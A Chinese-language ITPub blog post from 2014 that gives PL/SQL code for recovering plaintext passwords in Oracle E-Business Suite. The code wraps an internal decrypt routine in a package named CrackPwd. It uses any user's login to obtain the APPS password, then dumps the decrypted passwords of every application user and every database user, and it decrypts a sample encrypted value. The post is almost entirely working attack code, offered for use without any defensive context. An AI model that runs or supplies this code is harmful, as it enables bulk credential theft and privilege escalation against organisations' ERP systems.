ITPub博客

首页 > 数据库 > Oracle > 获取oracle ebs 用户密码

获取oracle ebs 用户密码

Oracle 作者:wildck 时间:2014-01-18 20:07:44 0 删除 编辑

点击(此处)折叠或打开

  1. --获得 用户密码--------------- begin -------------------------------------------


  2. CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
  3. AS
  4.      FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
  5.         RETURN VARCHAR2;
  6. END CrackPwd;

  7. CREATE OR REPLACE PACKAGE BODY CrackPwd
  8. AS
  9.      FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
  10.         RETURN VARCHAR2
  11.      AS
  12.         LANGUAGE JAVA
  13.         NAME \'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String\';
  14. END CrackPwd;


  15. SET SERVEROUTPUT ON
  16. DECLARE
  17.     guestUserPwd VARCHAR2(200);
  18.     guestUserName VARCHAR2(100);
  19.     guestFndPwd VARCHAR2(100);
  20.     guestEncFndPwd VARCHAR2(100);
  21.     delim NUMBER;
  22. BEGIN
  23. guestUserPwd :=\'GUEST/ORACLE\';--Can any user password

  24. IF guestUserPwd IS NULL THEN
  25.            guestUserPwd := UPPER(fnd_profile.value(\'GUEST_USER_PWD\'));
  26.     END IF;
  27.     delim := INSTR(guestUserPwd,\'/\');
  28.     guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
  29.      SELECT encrypted_foundation_password INTO guestEncFndPwd
  30.     FROM fnd_user_view
  31.     WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
  32.       (end_date IS NULL OR end_date > SYSDATE);
  33.        guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
  34.       IF NOT (guestFndPwd IS NULL) THEN
  35.          DBMS_OUTPUT.put_line(guestFndPwd);
  36.       END IF;
  37. END;


  38. --6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

  39. SELECT user_name,CrackPwd.getpwd(\'APPS\',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user
  40. --7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

  41. select fou.oracle_username,CrackPwd.getpwd(\'APPS\',encrypted_oracle_password) pwd
  42. from APPS.fnd_oracle_userid fou order by fou.oracle_username


  43. /*
  44. 4.通过任何一个User name/password取得APPS密码的方法
  45. SET SERVEROUTPUT ON
  46. DECLARE
  47.     guestUserPwd VARCHAR2(200);
  48.     guestUserName VARCHAR2(100);
  49.     guestFndPwd VARCHAR2(100);
  50.     guestEncFndPwd VARCHAR2(100);
  51.     delim NUMBER;
  52. BEGIN
  53. guestUserPwd :=\'GUEST/ORACLE\';--Can any user password
  54. IF guestUserPwd IS NULL THEN
  55.            guestUserPwd := UPPER(fnd_profile.value(\'GUEST_USER_PWD\'));
  56.     END IF;
  57.     delim := INSTR(guestUserPwd,\'/\');
  58.     guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
  59.      SELECT encrypted_foundation_password INTO guestEncFndPwd
  60.     FROM fnd_user_view
  61.     WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
  62.       (end_date IS NULL OR end_date > SYSDATE);
  63.        guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
  64.       IF NOT (guestFndPwd IS NULL) THEN
  65.          DBMS_OUTPUT.put_line(guestFndPwd);
  66.       END IF;
  67. END;

  68. 注: guestUserPwd :=\'GUEST/ORACLE\';--Can any user password
  69.        上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
  70. 以上程序可以用toad执行


  71. 5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
  72. SET SERVEROUT ON
  73. DECLARE
  74.      v_encrypted_pwd VARCHAR2 (100);
  75.      v_apps_pwd VARCHAR2 (100);
  76.      v_user_pwd VARCHAR (100);
  77. BEGIN
  78.      v_encrypted_pwd :=\'ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
  79. 3C10B916D88062771250F4BE653891CA90671C74187B132118335\';
  80. --get ENCRYPTED_USER_PASSWORD from fnd_user
  81.      IF v_apps_pwd IS NULL
  82.      THEN
  83.         v_apps_pwd := \'APPS\';
  84.      END IF;
  85.      v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
  86.      DBMS_OUTPUT.put_line (v_user_pwd);
  87. END;

  88. */


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/28251841/viewspace-1072597/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2013-09-28

  • 博文量
    6
  • 访问量
    27427